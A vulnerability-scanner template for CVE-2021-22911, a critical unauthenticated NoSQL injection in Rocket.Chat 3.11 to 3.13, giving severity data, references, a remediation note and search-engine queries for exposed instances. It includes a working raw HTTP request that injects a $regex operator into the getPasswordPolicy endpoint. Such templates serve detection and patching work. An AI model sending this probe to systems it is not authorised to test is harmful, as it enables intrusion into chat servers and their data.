Rocket.Chat <=3.13 - NoSQL Injection

id: CVE-2021-22911

info:
  name: Rocket.Chat <=3.13 - NoSQL Injection
  author: tess,sullo
  severity: critical
  description: Rocket.Chat 3.11, 3.12 and 3.13 contains a NoSQL injection vulnerability which allows unauthenticated access to an API endpoint. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary NoSQL queries, leading to unauthorized access, data manipulation, or denial of service.
  remediation: |
    Upgrade Rocket.Chat to a version higher than 3.13 or apply the provided patch to mitigate the vulnerability.
  reference:
    - http://packetstormsecurity.com/files/162997/Rocket.Chat-3.12.1-NoSQL-Injection-Code-Execution.html
    - https://github.com/vulhub/vulhub/tree/master/rocketchat/CVE-2021-22911
    - https://hackerone.com/reports/1130721
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22911
    - https://blog.sonarsource.com/nosql-injections-in-rocket-chat
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22911
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-22911
    cwe-id: CWE-75,NVD-CWE-Other
    epss-score: 0.95242
    epss-percentile: 0.99855
    cpe: cpe:2.3:a:rocket.chat:rocket.chat:3.11.0:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: rocket.chat
    product: rocket.chat
    shodan-query:
      - http.title:"Rocket.Chat"
      - http.title:"rocket.chat"
    fofa-query: title="rocket.chat"
    google-query: intitle:"rocket.chat"
  tags: cve2021,cve,rocketchat,nosqli,packetstorm,vulhub,hackerone,rocket.chat,sqli,vkev,vuln

http:
  - raw:
      - |-
        POST /api/v1/method.callAnon/getPasswordPolicy HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"message": "{\"msg\":\"method\", \"method\": \"getPasswordPolicy\", \"params\": [{\"token\": {\"$regex\": \"^{{randstr}}\"}}] }"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '[error-invalid-user]'
          - '"success":true'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
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